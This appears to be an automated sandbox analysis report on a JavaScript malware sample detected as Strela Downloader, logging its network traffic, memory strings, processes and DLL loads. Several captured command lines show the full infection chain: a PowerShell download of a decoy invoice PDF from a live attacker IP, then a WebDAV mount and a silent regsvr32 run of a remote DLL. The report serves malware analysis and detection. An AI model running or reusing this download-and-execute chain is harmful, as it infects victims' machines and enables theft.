6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1247408539.0000020AD6E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1300000116.000001BCEA9A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1300000116.000001BCEA9DC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1300000116.000001BCEA9FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1300000116.000001BCEA9DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/E
Source: net.exe, 0000000C.00000002.1300000116.000001BCEA9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/L
Source: net.exe, 0000000C.00000002.1300000116.000001BCEA9A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 0000000E.00000002.2530015492.000001F720800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1308898332.000001F720750000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5944, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 20314304422672320911.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:720:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mgjnlezy.wfb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1760,i,3337423066596342454,6841710697410949733,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1760,i,3337423066596342454,6841710697410949733,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
